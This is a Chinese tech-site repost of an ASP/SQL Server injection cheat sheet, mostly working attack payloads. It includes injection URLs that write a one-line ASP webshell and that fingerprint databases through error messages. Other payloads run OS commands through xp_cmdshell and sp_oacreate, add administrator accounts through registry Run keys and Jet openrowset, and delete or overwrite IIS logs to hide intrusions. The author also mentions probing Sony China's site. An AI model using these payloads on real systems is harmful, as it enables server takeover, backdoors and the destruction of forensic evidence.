当前位置: 移动技术网 > IT编程>开发语言>Asp > ASP注入详细命令40条第1/2页

ASP注入详细命令40条第1/2页

2017年12月12日  | 移动技术网IT编程  | 我要评论
1、 用^转义字符来写asp(一句话木马)文件的方法: 
 http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=vbscript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--  

echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp 

2、 显示sql系统版本:  
? http://192.168.1.5/display.asp?keyno=188 and 1=(select @@version)  
? http://www.xxxx.com/fullstory.asp?id=1 and 1=convert(int,@@version)-- 

microsoft vbscript 编译器错误 错误 '800a03f6'  
缺少 'end'  
/iishelp/common/500-100.asp,行242  
microsoft ole db provider for odbc drivers 错误 '80040e07'  
[microsoft][odbc sql server driver][sql server]syntax error converting the nvarchar value 'microsoft sql server 2000 - 8.00.760 (intel x86) dec 17 2002 14:22:05 copyright (c) 1988-2003 microsoft corporation desktop engine on windows nt 5.0 (build 2195: service pack 4) ' to a column of data type int.  
/display.asp,行17 
3、 在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在sql语言中可以使用"in"关键字进行查询,例如"select * from mytable where id in(1)",括号中的值就是我们提交的数据,它的结果与使用"select * from mytable where id=1"的查询结果完全相同。所以访问页面的时候在url后面加上") and 1=1 and 1 in(1"后原来的sql语句就变成了"select * from mytable where id in(1) and 1=1 and 1 in(1)",这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为"包含数字型"吧,聪明的你一定想到了还有"包含字符型"呢。对了,它就是由于类似"select * from mytable where name in('firstsee')"的查询语句造成的。 

4、 判断xp_cmdshell扩展存储过程是否存在: 
http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell') 
恢复xp_cmdshell扩展存储的命令: 
http://www.test.com/news/show1.asp?newsid=125272 
;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';-- 

5、 向启动组中写入命令行和执行程序: 
http://192.168.1.5/display.asp?keyno=188;exec master.dbo.xp_regwrite 'hkey_local_machine','software\microsoft\windows\currentversion\run','help1','reg_sz','cmd.exe /c net user test ptlove /add' 


6、 查看当前的数据库名称: 
? http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨库了 
? http://www.xxxx.com/fullstory.asp?id=1 and 1=convert(int,db_name())-- 
microsoft vbscript 编译器错误 错误 '800a03f6'  
缺少 'end'  
/iishelp/common/500-100.asp,行242  
microsoft ole db provider for odbc drivers 错误 '80040e07'  
[microsoft][odbc sql server driver][sql server]syntax error converting the nvarchar value 'huidahouse' to a column of data type int.  
/display.asp,行17  
7、 列出当前所有的数据库名称: 
select * from master.dbo.sysdatabases 列出所有列的记录 
select name from master.dbo.sysdatabases 仅列出name列的记录 

8、 不需xp_cmdshell支持在有注入漏洞的sql服务器上运行cmd命令: 
create table mytmp(info varchar(400),id int identity(1,1) not null) 
declare @shell int 
declare @fso int 
declare @file int 
declare @isend bit 
declare @out varchar(400) 
exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true' 
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。 

exec sp_oacreate 'scripting.filesystemobject',@fso output 
exec sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' 
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌 

while @shell>0 
begin 
exec sp_oamethod @file,'readline',@out out 
insert into mytmp(info) values (@out) 
exec sp_oagetproperty @file,'atendofstream',@isend out 
if @isend=1 break 
else continue 
end 

drop table mytmp  

---------- 
declare @shell int 
declare @fso int 
declare @file int 
declare @isend bit 
declare @out varchar(400) 
exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'cmd.exe /c cscript c:\inetpub\adminscripts\adsutil.vbs set /w3svc/inprocessisapiapps "c:\winnt\system32\idq.dll" "c:\winnt\system32\inetsrv\httpext.dll" "c:\winnt\system32\inetsrv\httpodbc.dll" "c:\winnt\system32\inetsrv\ssinc.dll" "c:\winnt\system32\msw3prt.dll" "c:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' 
exec sp_oacreate 'scripting.filesystemobject',@fso output 
exec sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' 
while @shell>0 
begin 
exec sp_oamethod @file,'readline',@out out 
insert into mytmp(info) values (@out) 
exec sp_oagetproperty @file,'atendofstream',@isend out 
if @isend=1 break 
else continue 
end 

以下是一行里面将web用户加到管理员组中: 
declare @shell int declare @fso int declare @file int declare @isend bit declare @out varchar(400) exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'cmd.exe /c cscript c:\inetpub\adminscripts\adsutil.vbs set /w3svc/inprocessisapiapps "c:\winnt\system32\idq.dll" "c:\winnt\system32\inetsrv\httpext.dll" "c:\winnt\system32\inetsrv\httpodbc.dll" "c:\winnt\system32\inetsrv\ssinc.dll" "c:\winnt\system32\msw3prt.dll" "c:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' exec sp_oacreate 'scripting.filesystemobject',@fso output exec sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' while @shell>0 begin exec sp_oamethod @file,'readline',@out out insert into mytmp(info) values (@out) exec sp_oagetproperty @file,'atendofstream',@isend out if @isend=1 break else continue end 

以下是一行中执行exe程序: 
declare @shell int declare @fso int declare @file int declare @isend bit declare @out varchar(400) exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe e:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt','0','true' exec sp_oacreate 'scripting.filesystemobject',@fso output exec sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' while @shell>0 begin exec sp_oamethod @file,'readline',@out out insert into mytmp(info) values (@out) exec sp_oagetproperty @file,'atendofstream',@isend out if @isend=1 break else continue end 

sql下三种执行cmd命令的方法: 

先删除7.18号日志: 
(1)exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex050718.log >c:\temp.txt' 

(2)declare @shell int declare @fso int declare @file int declare @isend bit declare @out varchar(400) exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'cmd.exe /c del c:\winnt\system32\logfiles\w3svc5\ex050718.log >c:\temp.txt','0','true' exec sp_oacreate 'scripting.filesystemobject',@fso output exec sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' while @shell>0 begin exec sp_oamethod @file,'readline',@out out insert into mytmp(info) values (@out) exec sp_oagetproperty @file,'atendofstream',@isend out if @isend=1 break else continue end 

(3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要db_owner权限,为了方便,这里建议使用sysadmin权限测试: 
? exec master..xp_regwrite 'hkey_local_machine','software\microsoft\jet\4.0\engines','sandboxmode','reg_dword',1 
注: 
0 禁止一切(默认) 
1 使能访问access,但是禁止其它 
2 禁止访问access,但是使能其他 
3 使能一切 

? 这里仅给出sysadmin权限下使用的命令: 
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")') 


? 建立链接数据库'l0op8ack'参考命令: 
exec sp_addlinkedserver 'l0op8ack','ole db provider for jet','microsoft.jet.oledb.4.0','c:\windows\system32\ias\ias.mdb' 

? 如何使用链接数据库: 

使用这个方式可以执行,但是很不幸,db_owner权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合 
sp_addlinkedserver需要sysadmin或setupadmin权限 
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限 
最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用, 
一般没有哪个管理员这么设置普通帐户权限的 

实用性不强,仅作为一个学习总结吧 

大致过程如下,如果不是sysadmin,那么ias.mdb权限验证会出错, 
我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败 
需要找一个一般用户可访问的mdb才可以: 

? 新建链接服务器"l0op8ack":exec sp_addlinkedserver 'l0op8ack','jetoledb','microsoft.jet.oledb.4.0','c:\winnt\system32\ias\ias.mdb';-- 
? exec sp_addlinkedsrvlogin 'l0op8ack','false';--或 
exec sp_addlinkedsrvlogin 'l0op8ack', 'false', null, 'test1', 'ptlove';-- 
? select * from openquery(l0op8ack, 'select shell("cmd.exe /c net user")');-- 
? exec sp_droplinkedsrvlogin 'l0op8ack','false';-- 
? exec sp_dropserver 'l0op8ack';-- 

再考贝一个其它文件来代替7.18日文件: 
(1)exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex050716.log c:\winnt\system32\logfiles\w3svc5\ex050718.log>c:\temp.txt' 

(2)declare @shell int declare @fso int declare @file int declare @isend bit declare @out varchar(400) exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'cmd.exe /c copy c:\winnt\system32\logfiles\w3svc5\ex050716.log c:\winnt\system32\logfiles\w3svc5\ex050718.log>c:\temp.txt','0','true' exec sp_oacreate 'scripting.filesystemobject',@fso output exec sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' while @shell>0 begin exec sp_oamethod @file,'readline',@out out insert into mytmp(info) values (@out) exec sp_oagetproperty @file,'atendofstream',@isend out if @isend=1 break else continue end 

(3)declare @shell int declare @fso int declare @file int declare @isend bit declare @out varchar(400) exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'cmd.exe /c net user>c:\temp.txt','0','true' exec sp_oacreate 'scripting.filesystemobject',@fso output exec sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' while @shell>0 begin exec sp_oamethod @file,'readline', ut out insert into mytmp(info) values (@out) exec sp_oagetproperty @file,'atendofstream',@isend out if @isend=1 break else continue end 
1

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网